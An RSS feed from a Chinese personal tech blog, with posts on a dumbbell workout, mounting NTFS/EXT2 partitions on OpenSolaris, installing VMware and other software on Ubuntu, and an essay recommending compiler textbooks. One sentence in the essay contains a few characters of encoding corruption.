﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-JavaCode--我爱你,芳儿</title><link>http://www.blogjava.net/yjjlovewjf/</link><description>JavaStudy--我爱你,芳儿</description><language>zh-cn</language><lastBuildDate>Sat, 04 Apr 2026 10:37:27 GMT</lastBuildDate><pubDate>Sat, 04 Apr 2026 10:37:27 GMT</pubDate><ttl>60</ttl><item><title>超级哑铃训练法</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/05/04/197952.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Sat, 03 May 2008 16:25:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/05/04/197952.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/197952.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/05/04/197952.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/197952.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/197952.html</trackback:ping><description><![CDATA[几年前，我结识了一个在城郊独居的老人，他的朋友们叫他约翰，<br />
别人则叫他巨人。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 他拥有像露天电影屏幕般宽大的背部，像棒锤一样的臂膀，像盔<br />
甲一样的胸部，像罗马甜瓜一样的三角肌。尽管他己70多岁了，但仍非<br />
常健壮。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一次，一位当地的健美明星去拜访他时，他正在马房里训练，奇<br />
怪的是他的训练器械只有哑铃。就是说，他完全是用哑铃练出这令人难<br />
以置信的肌肉来的。其实，哑铃不是问题的关键，关键在于怎样使用哑<br />
铃。当然，他不是每次训练把动作都练完，也不是每次训练把全身都练<br />
遍。一般他选择2一3个动作组合，每个动作做3一4组，每次练一个身体<br />
部位。这种方法很好，下面介绍的就是他的练法。<br />
<br />
一、哑铃划船<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从侧面看。约翰的背肌至少增厚了4英寸（1英寸＝25.4毫米)从<br />
正面看，他的背则像发怒的眼镜蛇的头部。这样漂亮的背肌就是用哑铃<br />
划船练出来的，因为这个动作能使他最大限度地伸展和收缩背阔肌。他<br />
将一条腿屈膝放在凳上，另一腿微屈，脚踩在6英寸高的木台上，上体<br />
前倾，尽力下放哑铃以牵拉背阔肌，然后向上提拉哑铃，直至两手超过<br />
前倾的上体。哑铃下放时最低点比一般人深，全程动作尽量固定肩部，<br />
不使其过分摆动，一组做8次。<br />
二、斜卧飞鸟<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 仰卧在有一定斜度的凳子上做，以充分伸展胸肌并使胸肌得到完<br />
全的刺激。做时双腿交叉，脚离地，以免弓背，减弱训练效果。举到最<br />
高点时哑铃不接触，下落时肘部稍屈。他说，上飞时应想象抱着一个大<br />
桶。唯此才能保证动作正确无误。哑铃的重量是尽力只能举8一10次的<br />
重量。<br />
三、仰卧夹胸<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 平卧凳上，身体与凳垂直，背的中上部接触凳面，头悬空，两脚<br />
踏地，动作过程中双臂保持伸直。要注意呼吸，哑铃由最低点向上举夹<br />
时呼气，哑铃由最高点下落时吸气。下落一定要充分，要让哑铃落到几<br />
乎触地。一组做20次。<br />
四、俯身飞鸟<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 约翰说这是加宽肩部最有效的方法，每次训练肩部他都把这个动<br />
作放在最前面，因为三角肌后部最不容易练，也最难生长。他把一块毛<br />
巾放在一个半人高的凳子上，用前额顶住毛巾。两臂微屈侧举，两时外<br />
旋使大拇指指向地面，举到肘部少许超过肩部，然后慢慢下落还原。一<br />
般做12一15次。<br />
五、阿诺德上举<br />
&nbsp;&nbsp;&nbsp;&nbsp; 上举对于肩部肌肉就像深蹲对于股四头肌一样重要。他有时站立<br />
上举，有时坐姿推举，有时转肩推举（这个动作是阿诺德前儿年倡导的<br />
）。注意，上体一定要保持正直，最好后背有个自立支撑物或用带子固<br />
定住，目的是不使肩部摇摆不稳。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 这个动作比一般的哑铃上举难些，故重量要稍轻。开始时掌心相<br />
对持铃于肩侧．上举时手腕外旋，到最高点时掌心朝前。这个动作的诀<br />
窍在于肘部，即要保持肘部垂直伸降。一组做6一12次。<br />
六、俯身后举<br />
&nbsp;&nbsp;&nbsp; 他先做几组20次小重量的热身练习，然后逐步增加重量，减少次数<br />
。动作是上体前倾与地面平行，使大臂贴紧体侧，掌心相对。以肘关节<br />
为轴，举铃后伸，直举到时比背稍高处，以使肱三头肌受到更大的刺激<br />
。到胳膊伸至极限时，旋腕90度，以使三头肌完全收紧。大重量做6次。<br />
七、仰卧臂屈伸<br />
&nbsp;&nbsp;&nbsp;&nbsp; 仰卧平凳上，双脚离地腿交叉，头离凳微抬，双手握铃掌心相对，<br />
大臂与躯干45度角固定不动。做臂屈伸动作，6一12次为一组。<br />
八、斜板臂弯举<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 约翰说，在动作过程中上臂不能离开斜板，并保证臂部充分伸展，<br />
但不能过度，这是最要注意的。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 两臂交替做，以便更集中注意力和提高肱二头肌的分离度。在弯<br />
举过程中二头肌始终处于收缩状态，为此，弯举时手臂不能离肩大近，<br />
否则二头肌会得到暂时休息，降低训练强度。大重量每组做5一7次，轻<br />
重量每组做12一20次。<br />
九、拇指向上弯举<br />
&nbsp;&nbsp;&nbsp; 此动作是为了增加肱二头肌的饱满度和肱肌的分离度。两手各握<br />
一哑铃垂于体侧，掌心相对，向上弯举一直保持掌心向内拇指向上的状<br />
态。当哑铃举至胸前时，转腕，使掌心向上。动作过程中上臂不动一<br />
组做g次。<br />
十、单腿深蹲<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了使大腿粗壮而漂亮，约翰练起了单腿深蹲。他不计次数，但<br />
每组不少于12次，最多达50次。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 他用足够的重量做这一练习，注意力集中在动作的正确性和股四<br />
头肌的感觉上。练习无间歇，直至股四头肌产生烧灼感。动作过程中注<br />
意膝盖和脚拇趾保持在同一平面内，以免受伤。他一般下蹲至臀部低于<br />
膝盖，这样才能使大腿的形状更漂亮，肌肉长得更快。站在凳上做，使<br />
另一条腿自然下垂。两手体侧持铃，或将哑铃置于肩上。<br />
十一、直腿硬拉<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个练习是为了增大背阔肌。站立，双手各持一哑铃于体侧，虎<br />
口相对。上体前倾，同时旋臂使掌心正对腓骨，抬头，膝微屈，使背部<br />
充分伸展，但无不舒服的感觉。然后。上拉哑铃，同时旋臂至虎口相对。<br />
每组做6次。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上述十一个动作如能掌握好。你不去健身房也可以练出漂亮的肌<br />
肉。<br />
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/197952.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-05-04 00:25 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/05/04/197952.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>solaris中挂载 ntfs盘</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/03/24/188375.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Mon, 24 Mar 2008 15:12:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/03/24/188375.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/188375.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/03/24/188375.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/188375.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/188375.html</trackback:ping><description><![CDATA[Miscellaneous filesystem support for OpenSolaris on x86<br />
=======================================================<br />
<br />
This is the initial release of the fsmisc package that enables access to<br />
NTFS and EXT2FS filesystems from OpenSolaris on x86 platforms.<br />
<br />
Some of the code has been derived from the following project:<br />
<br />
http://mount-ntfs.sourceforge.net/<br />
<br />
HOW TO Install<br />
--------------<br />
1) Install the FSWpart package<br />
<br />
&nbsp;&nbsp; Download http://www.belenix.org/binfiles/FSWpart.tar.gz<br />
&nbsp;&nbsp; Uncompress:&nbsp; gunzip -c FSWpart.tar.gz | tar xvf -<br />
&nbsp;&nbsp; Install:&nbsp; pkgadd -d . FSWpart<br />
<br />
2) Install the FSWfsmisc package<br />
<br />
&nbsp;&nbsp; Download http://www.belenix.org/binfiles/FSWfsmisc.tar.gz<br />
&nbsp;&nbsp; Uncompress:&nbsp; gunzip -c FSWfsmisc.tar.gz | tar xvf -<br />
&nbsp;&nbsp; Install:&nbsp; pkgadd -d . FSWfsmisc<br />
<br />
Features<br />
--------<br />
Ability to mount NTFS and EXT2FS filesystems on primary as well as extended<br />
partitions using the userland NFS server approach.<br />
<br />
The ntfsprogs toolset from the Linux-NTFS project built for OpenSolaris. Allows<br />
read/write access to NTFS primary partitions without having to mount it first.<br />
<br />
The ntfsprogs toolset also provides a library for user programs.<br />
<br />
The e2fsprogs toolset compiled for OpenSolaris.<br />
<br />
Dependencies<br />
------------<br />
Needs the SUNWgccruntime package. This should be installed by default on<br />
Solaris Express, or will be available on the install DVD.<br />
<br />
Usage: Mounting EXT2FS<br />
----------------------<br />
To mount an EXT2FS partition you first need to identify logical device name of<br />
the partition. Execute /usr/bin/prtpart without arguments to see the physical<br />
device name of your harddisk. It will be of the form: /dev/rdsk/cNdNp0.&nbsp; This<br />
will also display information about the entire partition table.<br />
<br />
Note: For more info on prtpart execute prtpart -help<br />
<br />
Now execute:<br />
/usr/bin/prtpart /dev/rdsk/cNdNp0 -ldevs<br />
<br />
to list out all the logical devices and the partition types. Your Linux<br />
partitions will be listed as "Linux Native".<br />
<br />
Now execute:<br />
mount -F ext2fs &lt;logical device name&gt; &lt;mountpoint&gt;<br />
<br />
to mount the EXT2FS partition.<br />
<br />
Usage: Mounting NTFS<br />
--------------------<br />
As per the above description once you list out the logical device names using<br />
"prtpart -ldevs", You will know the device name for the NTFS partitions.<br />
<br />
Now execute:<br />
mount -F ntfs &lt;logical device name&gt; &lt;mountpoint&gt;<br />
<br />
to mount the NTFS partition<br />
<br />
Usage: Displaying mount info and Unmounting<br />
-------------------------------------------<br />
Since these filesystems are mounted in a different way you need to execute:<br />
&nbsp;/usr/bin/xlsmounts to see the detailed mount table info of these mounts.<br />
<br />
The normal commands "df -h" and "cat /etc/mnttab" will only show partial NFS<br />
related infomation.<br />
<br />
Use "/usr/bin/xumount &lt;logical device name&gt;" or "/usr/bin/xumount &lt;mountpoint&gt;"<br />
to cleanly unmount these filesytems. Just using umount will unmount the<br />
filesystem but will not remove the background NFS server process.<br />
<br />
Limitations<br />
-----------<br />
The approach used here uses a userland NFSv2 server to access filesystems on<br />
raw partitions. So the NFS client in the kernel is used to access the server.<br />
Thus the kernel's mount table always shows the filesystem as NFS and the device<br />
as 127.0.0.1:/. You will need to execute "/usr/bin/xlsmounts" to see the real<br />
detailed info.<br />
<br />
Due to the same reason "/usr/bin/xumount" must be used to unmount the<br />
filesystem and kill the NFS server.<br />
<br />
The current implementation uses a minimal NFSv2 server and provides read-only<br />
access. However the ntfsprogs utilities like: ntfsls, ntfscp etc. do provide<br />
read/write access to NTFS partitions.<br />
<br />
The NTFS mount implementation does not yet suport compressed NTFS volumes and<br />
is a bit low on performance.&nbsp; However the ntfsprogs utilities can access<br />
compressed volumes and perform well.<br />
<br />
The bundled ntfsprogs utilities like: ntfsls, ntfscp etc.&nbsp; only operate on<br />
primary partitions.<br />
<br />
<br />
<br />
<br />
<br />
下面有中文 的，转载的。。嘿嘿<br />
安装：<br />
1) Install the FSWpart package
<p>Downloadhttp://www.belenix.org/binfiles/FSWpart.tar.gz<br />
Uncompress: gunzip -c FSWpart.tar.gz | tar xvf -<br />
Install: pkgadd -d . FSWpart</p>
<p>2) Install the FSWfsmisc package</p>
<p>Downloadhttp://www.belenix.org/binfiles/FSWfsmisc.tar.gz<br />
Uncompress: gunzip -c FSWfsmisc.tar.gz | tar xvf -<br />
Install: pkgadd -d . FSWfsmisc<br />
</p>
<p>主要命令： prtpart /dev/dsk/c0d0p0 -ldevs</p>
输出 ：<br />
bash-3.00# prtpart /dev/rdsk/c0d0p0 -ldevs<br />
然后：<br />
bash-3.00# mount -F ext2fs /dev/dsk/c0d0p7 /mnt<br />
搞定<br />
<br />
<br />
<br />
<br />
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/188375.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-03-24 23:12 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/03/24/188375.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ubuntu中安装VMware</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182615.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Thu, 28 Feb 2008 02:48:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182615.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/182615.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182615.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/182615.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/182615.html</trackback:ping><description><![CDATA[<h2>[Ubuntu 7.04]</h2>
众所周知，使用VMware Server可以在一台物理主机上创建并同时运行多个虚拟主机，当然要想虚拟机跑得好，还是先升级内存吧，如果内存小，那么物理主机将变得很慢。<br />
<br />
安装步骤<br />
<br />
Step1.打开系统终端，输入如下命令：<br />
$sudo su<br />
<br />
这样就拥有了root权限；<br />
<br />
Step2.利用如下命令安装VMware Server必备的库文件：<br />
$apt-get install libx11-6 libx11-dev libxtst6 xlibs-dev xinetd wget<br />
$apt-get install linux-headers-&#8216;uname &#8211;r&#8217; build-essential(编译内核头文件)<br />
$apt-get install gcc binutils-doc cpp-doc make manpages-dev autoconf
automake1.9 libtool flex bison gdb gcc-doc gcc-4.0-doc libc6-dev-amd64
lib64gcc1<br />
<br />
Step3.下面还需创建一个目录，具体命令如下：<br />
$mkdir /var/VMware<br />
<br />
这个目录接下来会用到，创建这个目录的主要是由于VMware默认的安装目录层级太深，不方便大家使用。<br />
<br />
Step4.
到[url=http://www.vmware.com/download/server/]http://www.vmware.com/download/server/
[/url]下载VMware的Linux版本，最好是tar.gz源码压缩包格式，安装的时候就可以编译和安装了。此外，Ubuntu
7.04还可以通过新立得软件管理器进行安装VMware。
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/182615.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-02-28 10:48 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182615.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ubuntu 下安装软件的三个方法</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182614.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Thu, 28 Feb 2008 02:48:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182614.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/182614.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182614.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/182614.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/182614.html</trackback:ping><description><![CDATA[<strong style="color: black; background-color: #ffff66;">ubuntu</strong>提供了三种软件包管理软件：添加/<a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif);" name="baidusnap2"></a><strong style="color: black; background-color: #99ff99;">删除程序</strong>，新立得(Synaptic)软件包管理器，apt-。 <br />
<br />
添加/<strong style="color: black; background-color: #99ff99;">删除程序</strong>是最简单<strong style="color: black; background-color: #ff66ff;">的</strong>软件包管理工具，可以添加/删除常用<strong style="color: black; background-color: #ff66ff;">的</strong>应用程序，你可以在应用程序菜单中找到该工具。 <br />
<br />
新立得软件包管理器功能很强大，可以很方便<strong style="color: black; background-color: #ff66ff;">的</strong>安装/卸载/升级你<strong style="color: black; background-color: #ff66ff;">的</strong>软件，你可以分类找到你要<strong style="color: black; background-color: #ff66ff;">的</strong>软件，右击选择标记以便安装/删除/升级，完成之后点击工具栏中<strong style="color: black; background-color: #ff66ff;">的</strong>应用，就可以自动完成剩下<strong style="color: black; background-color: #ff66ff;">的</strong>所有工作。 <br />
<br />
apt是一个<a style="width: 20px; height: 20px; text-indent: 20px; background-repeat: no-repeat; background-image: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif);" name="baidusnap5"></a><strong style="color: white; background-color: #880000;">命令</strong>行软件包管理工具，可以输入<strong style="color: white; background-color: #880000;">命令</strong>来安装/卸载软件，常用<strong style="color: white; background-color: #880000;">命令</strong>有： <br />
<br />
sudo apt-get install packagename /安装packagename <br />
<br />
sudo apt-get remove packagename /卸载packagename <br />
<br />
sudo apt-get update /获取新<strong style="color: black; background-color: #ff66ff;">的</strong>软件列表 <br />
<br />
手工下载安装软件包： <br />
<br />
如果在线库中没有你要<strong style="color: black; background-color: #ff66ff;">的</strong>软件，或是不方便直接上网，也可以去其它网站下载安装包。 <br />
<br />
对于后缀名为deb<strong style="color: black; background-color: #ff66ff;">的</strong>安装包最方便，可以直接双击自动安装。 <br />
<br />
后缀名为bin<strong style="color: black; background-color: #ff66ff;">的</strong>预编译包安装也比较方便，可以使用: <br />
<br />
sudo ./packagename.bin <br />
<br />
来安装，如果要求选择安装目录，最好安装在/opt目录下，这是用来安装额外<strong style="color: black; background-color: #ff66ff;">的</strong>软件包<strong style="color: black; background-color: #ff66ff;">的</strong>目录，将所有额外<strong style="color: black; background-color: #ff66ff;">的</strong>软件包安装在同一目录下也方便对其进行管理。 <br />
<br />
源码包，这是最麻烦<strong style="color: black; background-color: #ff66ff;">的</strong>包，需要编译安装，解压包到一目录，进入该目录执行 <br />
<br />
./configure <br />
<br />
make <br />
<br />
make install <br />
<br />
如果没有成功，最好去找deb包
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/182614.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-02-28 10:48 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/02/28/182614.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编译原理学习导论-作者四川大学唐良</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182110.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Mon, 25 Feb 2008 16:36:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182110.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/182110.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182110.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/182110.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/182110.html</trackback:ping><description><![CDATA[大 学课程为什么要开设编译原理呢？这门课程关注的是编译器方面的产生原理和技术问题，似乎和计算机的基础领域不沾边，可是编译原理却一直作为大学本科的必修 课程，同时也成为了研究生入学考试的必考内容。编译原理及技术从本质上来讲就是一个算法问题而已，当然由于这个问题十分复杂，其解决算法也相对复杂。我们 学的数据结构与算法分析也是讲算法的，不过讲的基础算法，换句话说讲的是算法导论，而编译原理这门课程讲的就是比较专注解决一种的算法了。在20世纪50 年代，编译器的编写一直被认为是十分困难的事情，第一Fortran的编译器据说花了18年的时间才完成。在人们尝试编写编译器的同时，诞生了许多跟编译 相关的理论和技术，而这些理论和技术比一个实际的编译器本身价值更大。就犹如数学家们在解决著名的哥德巴赫猜想一样，虽然没有最终解决问题，但是其间诞生 不少名著的相关数论。<br />
<br />
<strong>推荐参考书</strong><br />
<br />
虽然编译理论发展到今天，已经有了比较成熟的部分，但是作为一个大学生来说，要自己写出一个像Turboc C,Java那样的编译器来说还是太难了。不仅写编译器困难，学习编译原理这门课程也比较困难。<br />
<br />
正是因为编译原理学习相对困难，那么就要求有好的教师和好的教材。教师方面不是我们能自己更改的，而在教材方面我们却可以按自己的意愿来阅读。我下面推荐几本好的编译原理的教材。我推荐的书籍都是国外的经典教材，因为在国内的教材中，确实还没发现什么让人满意的。<br />
<br />
第 一本书的原名叫《Compilers Principles,Techniques,and Tools》,另外一个响亮的名字就是龙书。原因是这本书的封面上有条红色的龙，也因为獗臼樵诒嘁朐 砘 &#215;煊蛉肥堤 忻 ?所以很多国外的学者都直接 取名为龙书。最近机械工业出版社已经出版了此书的中文版，名字就叫《编译原理》。该书出的比较早，大概是在85或86年编写完成的，作者之一还是著名的贝 尔实验室的科学家。里面讲解的核心编译原理至今都没有变过，所以一直到今天，它的价值都非凡。这本书最大的特点就是一开始就通过一个实际的小例子，把编译 原理的大致内容罗列出来，让很多编译原理的初学者很快心里有了个底,也知道为什么会有这些理论，怎么运用这些理论。而这一点是我感觉国内的教材缺乏的东 西，所以国内的教材都不是写给愿意自学的读者，总之让人看了半天，却不知道里面的东西有什么用。<br />
<br />
第二本书的原名叫《Modern Compiler Design》,中文名字叫做《现代编译程序设计》。该书由人民邮电出版社所出。此书比较关注的是编译原理的实践，书中给出了不少的实际程序代码，还有很 多实际的编译技术问题等等。此书另外一个特点就是其&#8220;现代&#8221;而字。在传统的编译原理教材中，你是不可能看到如同Java中的&#8220;垃圾回收&#8221;等算法的。因为 Java这样的解释执行语言是在近几年才流行起来的东西。如果你想深入学习编译原理的理论知识，那么你肯定得看前面那本龙书，如果你想自己动手做一个先进 的编译器，那么你得看这本《现代编译程序设计》。<br />
<br />
第三本书就是很多国内的编译原理学者都推荐的那本《编译原理及实践》。或许是这本书引入 国内比较早吧，我记得我是在高中就买了这本书，不过也是在前段时间才把整本书看完。此书作为入门教程也的确是个不错的选择。书中给出的编译原理讲解也相当 细致，虽然不如前面的龙书那么深入，但是很多地方都是点到为止，作为大学本科教学已经是十分深入了。该书的特点就是注重实践，不过感觉还不如前面那本《现 代编译程序设计》的实践味道更重。此书的重点还是在原理上的实践，而非前面那本那样的技术实践。《编译原理及实践》在讲解编译原理的各个部分的同时，也在 逐步实践一个现代的编译器Tiny C.等你把整本书看完，差不多自己也可以写一个Tiny C了。作者还对Lex和Yacc这两个常用的编译相关的工具进行了很详细的说明，这一点也是很难在国内的教材中看到的。<br />
<br />
推荐了这三本教材，都有英文版和中文版的。很多英文好的同学只喜欢看原版的书，不我的感觉是这三本书的翻译都很不错，没有必要特别去买英文版的。理解理论的实质比理解表面的文字更为重要。<br />
<br />
<strong>编译原理的实质</strong><br />
<br />
前面已经说过，学习编译原理其实也就是学习算法而已，没什么特别的。只不过这些算法的产生已经形成了一套理论。下面我来看看编译原理里面到底有什么高深的理论吧。<br />
<br />
几 乎每本编译原理的教材都是分成词法分析，语法分析（LL算法，递归下降算法，LR算法），语义分析，运行时环境，中间代码，代码生成，代码优化这些部分。 其实现在很多编译原理的教材都是按照85,86出版的那本龙书来安排教学内容的，所以那本龙书的内容格式几乎成了现在编译原理教材的定式，包括国内的教材 也是如此。一般来说，大学里面的本科教学是不可能把上面的所有部分都认真讲完的，而是比较偏重于前面几个部分。像代码优化那部分东西，就像个无底洞一样， 如果要认真讲，就是单独开一个学期的课也不可能讲得清楚。所以，一般对于本科生，对词法分析和语法分析掌握要求就相对要高一点了。<br />
<br />
词法分 析相对来说比较简单。可能是词法分析程序本身实现起来很简单吧，很多没有学过编译原理的人也同样可以写出各种各样的词法分析程序。不过编译原理在讲解词法 分析的时候，重点把正则表达式和自动机原理加了进来，然后以一种十分标准的方式来讲解词法分析程序的产生。这样的做法道理很明显，就是要让词法分析从程序 上升到理论的地步。<br />
<br />
语法分析部分就比较麻烦一点了。现在一般有两种语法分析算法，LL自顶向下算法和LR自底向上算法。LL算法还好说， 到了LR算法的时候，困难就来了。很多自学编译原理的都是遇到LR算法的理解成问题后就放弃了自学。其实这些东西都是只要大家理解就可以了，又不是像词法 分析那样非得自己写出来才算真正的会。像LR算法的语法分析器，一般都是用工具Yacc来生成，实践中完全没有比较自己来实现。对于LL算法中特殊的递归 下降算法，因为其实践十分简单，那么就应该要求每个学生都能自己写。当然，现在也有不少好的LL算法的语法分析器，不过要是换在非C平台，比如Java, Delphi,你不能运用YACC工具了，那么你就只有自己来写语法分析器。<br />
<br />
等学到词法分析和语法分析时候，你可能会出现这样的疑问： &#8220;词法分析和语法分析到底有什么？&#8221;就从编译器的角度来讲，编译器需要把程序员写的源程序转换成一种方便处理的数据结构（抽象语法树或语法树）,那么这个 转换的过程就是通过词法分析和语法分析的。其实词法分析并非一开始就被列入编译器的必备部分，只是我们为了简化语法分析的过程，就把词法分析这种繁琐的工 作单独提取出来，就成了现在的词法分析部分。除了编译器部分，在其它地方，词法分析和语法分析也是有用的。比如我们在DOS,Unix,Linux下输入 命令的时候，程序如何分析你输入的命令形式，这也是简单的应用。总之，这两部分的工作就是把不&#8220;规则&#8221;的文本信息转换成一种比较好分析好处理的数据结构。 那么为什么编译原理的教程都最终把要分析的源分析转换成&#8220;树&#8221;这种数据结构呢？数据结构中有Stack, Line,List&#8230;这么多数据结构，各自都有各自的特点。但是Tree这种结构有很强的递归性，也就是说我们可以把Tree的任何结点Node提取出来 后，它依旧是一颗完整的Tree。这一点符合我们现在编译原理分析的形式语言，比如我们在函数里面使用函树，循环中使用循环，条件中使用条件等等，那么就 可以很直观地表示在Tree这种数据结构上。同样，我们在执行形式语言的程序的时候也是如此的递归性。在编译原理后面的代码生成的部分，就会介绍一种堆栈 式的中间代码，我们可以根据分析出来的抽象语法树，很容易，很机械地运用递归遍历抽象语法树就可以生成这种指令代码。而这种代码其实也被广泛运用在其它的 解释型语言中。像现在流行的Java,.NET，其底层的字节码bytecode,可以说就是这中基于堆栈的指令代码的。<br />
<br />
关于语义分析， 语法制导翻译，类型检查等等部分，其实都是一种完善前面得到的抽象语法树的过程。比如说，我们写C语言程序的时候，都知道，如果把一个浮点数直接赋值给一 个整数，就会出现类型不匹配，那么C语言的编译器是怎么知道的呢？就是通过这一步的类型检查。像C++语言这中支持多态函数的语言，这部分要处理的问题就 更多更复杂了。大部编译原理的教材在这部分都是讲解一些比较好的处理策略而已。因为新的问题总是在发生，旧的办法不见得足够解决。<br />
<br />
本来 说，作为一个编译器，起作用的部分就是用户输入的源程序到最终的代码生成。但是在讲解最终代码生成的时候，又不得不讲解机器运行环境等内容。因为如果你不 知道机器是怎么执行最终代码的，那么你当然无法知道如何生成合适的最终代码。这部分内容我自我感觉其意义甚至超过了编译原理本身。因为它会把一个计算机的 程序的运行过程都通通排在你面前，你将来可能不会从事编译器的开发工作，但是只要是和计算机软件开发相关的领域,都会涉及到程序的执行过程。运行时环境的 讲解会让你更清楚一个计算机程序是怎么存储，怎么装载，怎么执行的。关于部分的内容，我强烈建议大家看看龙书上的讲解，作者从最基本的存储组织，存储分配 策略，非局部名字的访问，参数传递，符号表到动态存储分配(malloc,new)都作了十分详细的说明。这些东西都是我们编写平常程序的时候经常要做的 事情，但是我们却少去探求其内部是如何完成。<br />
<br />
